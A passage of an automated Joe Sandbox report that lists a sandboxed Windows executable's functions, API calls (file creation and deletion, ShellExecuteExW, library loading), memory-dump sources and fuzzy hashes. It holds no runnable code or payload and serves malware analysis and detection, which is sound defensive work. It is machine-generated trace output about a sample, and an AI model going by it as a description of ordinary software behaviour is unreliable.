Part of subcall function 00402BFA: GetShortPathNameW.KERNEL32(02289B68,02289B68,00002710), ref: 00402C34

Part of subcall function 0040E080: TlsGetValue.KERNEL32(0000000D,?,?,00401DCE,00000000,00000000,00000000,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000), ref: 0040E08A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 004098C0: SetEnvironmentVariableW.KERNELBASE(02289B68,02289B68,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098D9

Part of subcall function 00401E55: PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00404476,00000000,00000000,00000000,02289B68,02288968,00000000,00000000), ref: 00401E8A

PathQuoteSpacesW.SHLWAPI(00000000,00000001,022889E8,00000000,00000000,00000000,00000000,00000000,02289B68,02288968,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004044A7
PathQuoteSpacesW.SHLWAPI(00000000,00000000,00000000,0041702A,00000000,00000000,00000000,00000001,022889E8,00000000,00000000,00000000,00000000,00000000,02289B68,02288968), ref: 004044E1

Part of subcall function 00405492: CreateThread.KERNEL32(00000000,00001000,?,?,00000000,02289B68), ref: 004054AB
Part of subcall function 00405492: EnterCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
Part of subcall function 00405492: WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
Part of subcall function 00405492: CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0
Part of subcall function 00405492: LeaveCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523

Strings

*pA, xrefs: 004044BE
pA, xrefs: 00404090
*pA, xrefs: 0040452C

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Path$Value$QuoteSpaces$AllocateCriticalErrorHandleHeapLastSection$BackslashCloseCreateEnterEnvironmentLeaveModuleNameObjectRemoveShortSingleThreadVariableWaitwcslen
String ID: *pA$*pA$pA
API String ID: 1881381519-978732049
Opcode ID: ce5de05abebdf408f752614a87581667f3532eea130c2f8d7aa08e5aeff42770
Instruction ID: c37fc5d70f496ddafb25d76fc072764247fdd107690a54ecab0fee76e679e4b9
Opcode Fuzzy Hash: ce5de05abebdf408f752614a87581667f3532eea130c2f8d7aa08e5aeff42770
Instruction Fuzzy Hash: 452219B5504700AED200BBB2D981A7F77BDEB94709F10CD3FF544AA192CA3CD8499B69

Function 0040AAC0 Relevance: 9.2, APIs: 6, Instructions: 157
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB31
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB72
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040ABBC
CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,00000000,00000000), ref: 0040ABDE
HeapAlloc.KERNEL32(00000000,00001000,?,?,?,?,00000000,00000000), ref: 0040AC17
SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040AC6A

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: File$Create$AllocHeapPointer
String ID:
API String ID: 4207849991-0
Opcode ID: b3501de1549189c44e7e631b90cb851d7740b4e923cfc5c59c52eca9f0755e35
Instruction ID: b1ded5e7b3c1179952fb066da43177db28dec5f90817629197f40925782b5e59
Opcode Fuzzy Hash: b3501de1549189c44e7e631b90cb851d7740b4e923cfc5c59c52eca9f0755e35
Instruction Fuzzy Hash: 1F51C0712483006BE3218F19DD44B6B7BF6EB44764F204A3AFA51A73E0D678EC55874A

Function 0040D819 Relevance: 7.6, APIs: 5, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00418624,0041861C,0040D9E2,00000000,FFFFFFED,00000200,76EC5E70,00409E76,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D85A
HeapAlloc.KERNEL32(00000000,00000018,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040D891
LeaveCriticalSection.KERNEL32(00418624,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D8EA
RtlAllocateHeap.NTDLL(00000000,00000038,00000000,FFFFFFED,00000200,76EC5E70,00409E76,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D8FB
InitializeCriticalSection.KERNEL32(00000020,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D937

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalSection$Heap$AllocAllocateEnterInitializeLeave
String ID:
API String ID: 1272335518-0
Opcode ID: f6530bd1139fc1308a1eb69ae95df56e95dab55b3f4bf4e911806d1cb07516e8
Instruction ID: b7a84fb5e76b6252515cea3da09f74f38e7866411a6d0cfbb28ace0a8fd55691
Opcode Fuzzy Hash: f6530bd1139fc1308a1eb69ae95df56e95dab55b3f4bf4e911806d1cb07516e8
Instruction Fuzzy Hash: 7B31AEB2E007069FC3209F95D844A56BBF5FB44714B15C67EE465A77A0CB38E908CF98

Function 00402022 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 004020A7
GetExitCodeProcess.KERNEL32(?,?), ref: 004020C6

Strings

open, xrefs: 0040207E, 00402083, 0040208B

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CodeExecuteExitProcessShell
String ID: open
API String ID: 1016612177-2758837156
Opcode ID: 4fb2f0ec770fda151a68555488377ed97fba283763a87ea546f97f21bf454217
Instruction ID: 2b8263a944a9b57d4591781c670f1b736d97a98816e9e989756960c1ab26e777
Opcode Fuzzy Hash: 4fb2f0ec770fda151a68555488377ed97fba283763a87ea546f97f21bf454217
Instruction Fuzzy Hash: 66219D71008309AFD700EF54C855A9FBBE8EF44304F10882EF299E2291DB79D909CF96

Function 00401B8F Relevance: 4.7, APIs: 3, Instructions: 233
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 00409698: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
Part of subcall function 00409698: wcscmp.MSVCRT ref: 004096C2
Part of subcall function 00409698: memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048,00000000), ref: 00401BCD
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048), ref: 00401BF2

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
String ID:
API String ID: 983379767-0
Opcode ID: ea458f1c63abfdf06fd90357c43bf09d830a84b369ce573894b611d230e9b04f
Instruction ID: 657320b8a0b9e8c73ad23a805e8a4a11547555e009ba7fb8d64ba55fc2021fd8
Opcode Fuzzy Hash: ea458f1c63abfdf06fd90357c43bf09d830a84b369ce573894b611d230e9b04f
Instruction Fuzzy Hash: 22514AB59047007AE2007BB2DD82E7F66AEDBD4709F10893FF944790D2C93C984996AE

Function 0040B020 Relevance: 4.6, APIs: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040B058
memcpy.MSVCRT(?,?,?,?,00000001), ref: 0040B092

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FilePointermemcpy
String ID:
API String ID: 1104741977-0
Opcode ID: 01662b736399dd0210b3166c1eac24a2b1f7f8f1802043f53fe0b6834fe756e1
Instruction ID: 223037c69186752c1411635bf46ae5d03fa463101b4e1ddb65380de8071f5603
Opcode Fuzzy Hash: 01662b736399dd0210b3166c1eac24a2b1f7f8f1802043f53fe0b6834fe756e1
Instruction Fuzzy Hash: 93313A392047019FC320DF29D844E5BB7E1EFD4314F04882EE59A97750D335E919CBA6

Function 0040DEC0 Relevance: 4.6, APIs: 3, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9
RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocateHeap$Value
String ID:
API String ID: 2497967046-0
Opcode ID: 391403ca008f830686c32838620f38fbd141f2e22e04a7bef1baef16fc724d55
Instruction ID: 93a72ebc0765164a1c418c05f64e83f02c193a946cd328b9657e87a1490d81f0
Opcode Fuzzy Hash: 391403ca008f830686c32838620f38fbd141f2e22e04a7bef1baef16fc724d55
Instruction Fuzzy Hash: F111B974A00208EFCB04DF98D894E9ABBB6FF88314F20C159F9099B355D735AA41DB94

Function 0040A6C5 Relevance: 4.5, APIs: 3, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 0040A6E3
wcslen.MSVCRT ref: 0040A6F5
CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A735

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: cc8a7ec8d54b194b434c4abf9ee5240936a68a416eca0cc9abdb5220f9513762
Instruction ID: 5eb92d4f139d310a1ce384b3b75a423d404f976685da56e70024377017fd7883
Opcode Fuzzy Hash: cc8a7ec8d54b194b434c4abf9ee5240936a68a416eca0cc9abdb5220f9513762
Instruction Fuzzy Hash: 3E0167B180131896CB24DB64CC8DEBA73B8DF04304F6086BBE415E71D1E779DAA4DB5A

Function 00408DEE Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00408DFB
InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
CoInitialize.OLE32(00000000), ref: 00408E1D

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 91c7401402fa2f0ea5928b71181181df8ef358baa4c0a6ad788b24867e7e8746
Instruction ID: d18f3e268914b4fee2ab689e9e6bda8f6ab82eec5aee9dd7765ec6ce908ab83c
Opcode Fuzzy Hash: 91c7401402fa2f0ea5928b71181181df8ef358baa4c0a6ad788b24867e7e8746
Instruction Fuzzy Hash: 12E08CB088430CBBEB009BD0DC0EF8DBB7CEB00315F0041A4F904A2280EBB466488B95

Function 004098C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(02289B68,02289B68,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098D9

Strings

$0A, xrefs: 004098CF

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: EnvironmentVariable
String ID: $0A
API String ID: 1431749950-513306843
Opcode ID: 1c567db1f8ae5e831e25467e71350c4bb5df89e506d1786ab4261c5f7a60237e
Instruction ID: a83057451cf148fd94e5dae0918d05dd15dd477b401c26288c9a060c20ad275f
Opcode Fuzzy Hash: 1c567db1f8ae5e831e25467e71350c4bb5df89e506d1786ab4261c5f7a60237e
Instruction Fuzzy Hash: E7C01231619201BBD710EA14C904B57BBE5EB50345F04C439B044912B0C338CC44D705

Function 0040ADC0 Relevance: 3.1, APIs: 2, Instructions: 65
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040D498: EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D4A3
Part of subcall function 0040D498: LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D51E

CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000), ref: 0040ADF3
HeapAlloc.KERNEL32(00000000,00001000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040AE15

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalSection$AllocCreateEnterFileHeapLeave
String ID:
API String ID: 3705299215-0
Opcode ID: e305dac00e43d1f01632c500e63f0068ba79cd60e0177f680cb6723e5d67acda
Instruction ID: 12139a0eb1477c71ece9156acb4b07c5ee84e209973367f4cf7a68f803bf58ce
Opcode Fuzzy Hash: e305dac00e43d1f01632c500e63f0068ba79cd60e0177f680cb6723e5d67acda
Instruction Fuzzy Hash: C1119331140300ABC2305F1AEC44B57BBF9EB85764F14863EF5A5A73E0C7759C158BA9

Function 0040DBCA Relevance: 3.1, APIs: 2, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DD1D: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040DBDB,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004), ref: 0040DD5E

RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 0040DBFA
memset.MSVCRT ref: 0040DC35

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Heap$AllocateFreememset
String ID:
API String ID: 2774703448-0
Opcode ID: 5a98dcc60eb41190d4dd3f8e51887e861c9e07386c3483abd70395c86239bf10
Instruction ID: c1bdd2e89517895a38d7a8cc2bcc280f97e8981c2924b00dcd90f9207400bfe8
Opcode Fuzzy Hash: 5a98dcc60eb41190d4dd3f8e51887e861c9e07386c3483abd70395c86239bf10
Instruction Fuzzy Hash: E51167729043149BC320DF59DC80A8BBBE8EF88B10F01492EB988A7351D774E804CBA5

Function 0040DE30 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE3C
TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE47

Part of subcall function 0040E6A0: HeapAlloc.KERNEL32(02280000,00000000,0000000C,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6AE
Part of subcall function 0040E6A0: HeapAlloc.KERNEL32(02280000,00000000,00000010,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6C2
Part of subcall function 0040E6A0: TlsSetValue.KERNEL32(0000000D,00000000,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6EB

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: f31918e335419563cb91e7816fe34751be6fcb3fb2708b1ef5dadcb8cb13decf
Instruction ID: f6fb69b35e6ce2edff263c55ffd8902d3e18a9f91630c6f11d167ca4d15ccc07
Opcode Fuzzy Hash: f31918e335419563cb91e7816fe34751be6fcb3fb2708b1ef5dadcb8cb13decf
Instruction Fuzzy Hash: 4ED012309C8304ABE7402FB1BC0A7843B789708765F604835F509572D1D9BA6090495C

Function 0040A7B9 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000002,00000080,0040A7F2,02289B68,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000), ref: 0040A7D0
DeleteFileW.KERNELBASE(00000000,0040A7F2,02289B68,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040A7DA

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: d362f7088f03a7c0c281f2bbae1f9f88548ac7f83f4d98d140da13098a0d0c91
Instruction ID: f7dd43ce8ab679ab9acf2fbd66ade7664d9bbbd5be98dbe0a51a073a4b2bc51f
Opcode Fuzzy Hash: d362f7088f03a7c0c281f2bbae1f9f88548ac7f83f4d98d140da13098a0d0c91
Instruction Fuzzy Hash: 00D09E30408300B6D7555B20C90D75ABAF17F84745F14C43AF485514F1D7798C65E70A

Function 0040A9D0 Relevance: 2.5, APIs: 2, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000), ref: 0040AA13
CloseHandle.KERNELBASE(00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040AA1B

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 579ea7bb730054d1301fd9c1686cb7efab9d423d292c410d1af4f5f5553bf1d6
Instruction ID: 9ff7f62518d4b0577bac71a3516b051fbd3d19e36237879e48dc57cbe5217eec
Opcode Fuzzy Hash: 579ea7bb730054d1301fd9c1686cb7efab9d423d292c410d1af4f5f5553bf1d6
Instruction Fuzzy Hash: E0F05E32600200A7CA216B5AED05A8BBBB2EB85764B11853EF124314F5CB355860DB5D

Function 00402BFA Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7

Part of subcall function 00409BA0: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1

GetShortPathNameW.KERNEL32(02289B68,02289B68,00002710), ref: 00402C34

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

